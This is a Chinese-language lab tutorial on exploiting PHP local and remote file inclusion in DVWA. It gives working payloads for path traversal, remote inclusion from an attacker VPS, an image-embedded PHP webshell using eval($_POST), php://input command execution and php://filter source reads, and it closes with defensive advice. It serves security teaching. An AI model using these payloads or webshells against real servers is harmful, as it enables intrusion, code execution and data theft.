文件包含漏洞原理
通过PHP函数某些特性函数利用URL动态引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,被包含的文件可以是各种文件格式,当文件中包含恶意代码,就会形成远程命令执行或文件上传漏洞。
类型:
本地文件包含漏洞与远程文件包含漏洞。 远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
实验环境DVWA
本地文件包含 :
(提前在当前主机(windows)创建一个phpinfo文件,linux一般我们读取/etc/passwd)
payload :http://127.0.0.1:8011/vulnerabilities/fi/?page=../../../../../../1.txt
远程文件包含:
前提是开启了 allow_url_include
1:在vps上放置一个1.txt 内容也为<?php phpinfo();?> 2:1.txt 目录下开启http服务 python2 -m SimpleHTTPServer 8888 3:payload: http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址:8888/1.txt
文件包含+图片马 Getshell
1: 前期准备图片马-copy photo.jpg /b + shell.txt /a shell.jpg 2: shell.txt 内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?> ps:调用后会在当前目录下生成shell.php 非指定目录生成
通过文件上传上传图片马
图片马地址:http://127.0.0.1:8011/hackable/uploads/shell.jpg
本地文件包含
http://127.0.0.1:8011/vulnerabilities/fi/?page=http://127.0.0.1:8011/hackable/uploads/shell.jpg 注意:当前是在vulnerabilities/fi下的,使用我们去文件包含我们的shell.jpg会在当前路径下(vulnerabilities/fi)生成Shell.php
远程文件包含
我们将准备好的shell.jpg 图片马,放置到vps里并且启动http服务用于访问 payload: http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址/shell.jpg
注意:已知网站路径的情况下 在上面两个本地/远程包含漏洞利用下,我们也可修改木马内容,将木马写入到我们想要的路径下 假如:我们要写入到uploads目录下
1:重新生成一份图片马,shell.txt内容为 <?PHP fputs(fopen('E:\phpstudy_pro\WWW\DVWA-2.2.2\hackable\uploads\shell.php','w'),'<?php eval($_POST[pass])?>');?> 2:copy photo.jpg /b + shell.txt /a shell2.jpg 3:用以上的利用方式去文件包含即可在指定目录下生成shell.php
PHP伪协议 php://input(用于执行PHP代码)
可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。
allow_url_fopen : off/on allow_url_include: on
1、写入指定的路径下
2、使用burpsuite抓包后重放
1、写入当前的路径下
2、使用burpsuite抓包后重放
php://input 命令执行
<?php system('whoami');?>
<?php phpinfo();?>
PHP伪协议 file://
在双off的情况下也可使用; allow_url_fopen :off/on (规定是否允许从远程服务器或者网站检索数据 ) allow_url_include:off/on (规定是否允许include/require远程文件 )
文件读取:
提前在D盘下创建1.txt 用于被读取 http://127.0.0.1:8011/vulnerabilities/fi/?page=file://d:\1.txt
PHP伪协议 php://filter(用于读取源码)
读取文件并进行base64编码输出,在双off的情况下也可以正常使用; allow_url_fopen : off/on allow_url_include: off/on payload[1] php://filter/convert.base64-encode/resource=../../../../../../../../../../1.txt payload[2] php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../../../../../../../1.txt
1:当前DVWA靶场路径(E:\phpstudy_pro\WWW\DVWA-2.2.2)、我们提前在E盘(E:\1.txt)创建1.txt,用于跨目录读取 2:http://127.0.0.1:8011/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../../../../../../../../../1.txt 3:通过base64解码读取文件内容
同样也可以多次编码的方式进行利用
防御手段:
1:可以使用 PHP 内置的安全函数,例如 realpath() 和 basename(),来规范化和过滤文件路径,以避免包含不安全的文件路径。 2:禁用危险的 PHP 配置选项,例如 allow_url_include 和 allow_url_fopen 等选项,以防止远程文件包含攻击。 3:如果必须使用用户输入的数据来包含文件,需要对用户输入进行严格的过滤和验证,以确保只允许访问安全的文件路径和内容。例如,可以使用白名单机制来限制文件路径的范围,或者对用户输入的文件名进行特定格式的验证。